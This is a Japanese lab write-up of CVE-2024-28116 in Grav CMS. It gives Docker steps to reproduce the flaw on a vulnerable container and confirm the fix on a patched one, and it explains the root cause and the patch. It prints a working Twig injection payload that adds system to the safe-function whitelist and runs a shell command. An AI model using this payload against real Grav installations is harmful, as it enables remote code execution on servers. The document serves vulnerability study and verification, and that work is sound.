CVE-2024-28116 の解析と Docker による再現。これは、Grav CMS バージョン 1.7.44 以前に影響し、バージョン 1.7.45 で修正された、セキュリティサンドボックスバイパスを伴うサーバーサイドテンプレートインジェクション(SSTI)の脆弱性です。
報告者: Maurizio Siddu (akabe1)
CVSS v3.1 スコア: 8.8(高)
修正バージョン: Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
ブラウザで http://localhost:8080/admin を開き、初回アクセス時に管理者アカウントを作成してください。
http://localhost:8080/admin で編集者としてログインしますtest page に設定して Continue をクリックします{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-page にアクセスしますuid=33(www-data) gid=33(www-data) groups=33(www-data) を表示しますこれにより、Webサーバーユーザーとしてのリモートコード実行(RCE)が確認されます。
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
ブラウザで http://localhost:8081/admin を開き、上記のすべてのエクスプロイト手順を http://localhost:8081/test-page を対象に繰り返します。
ページは完全に空白になります。Security.php の cleanDangerousTwig() メソッドが、twig.safe_functions ディレクティブを Twig エンジンに渡す前に検出してブロックします。ホワイトリストは変更されず、コマンドは実行されません。
脆弱性は system/src/Grav/Common/Twig.php にあります。Grav は、isDangerousFunction() によってチェックされるブラックリストに基づき、Twig テンプレート内での危険な PHP 関数の呼び出しを防ぐサンドボックスを実装しています。しかし、サンドボックスは Twig オブジェクト自体を保護しません。編集者レベルのユーザーは、細工したテンプレートディレクティブを介して Twig オブジェクトとやり取りし、実行時に system.twig.safe_functions ホワイトリストを上書きできます。system() などの危険な関数がホワイトリストに追加されると、サンドボックスチェックがバイパスされ、その関数が自由に実行されます。
このパッチは、system/src/Grav/Common/Security.php 内の cleanDangerousTwig() メソッドのブロック対象パターンリストに 'twig.safe_functions' を追加します。この文字列を含むディレクティブは、Twig エンジンに到達する前に無効化されるため、編集者がテンプレート内からホワイトリストを変更することは不可能になります。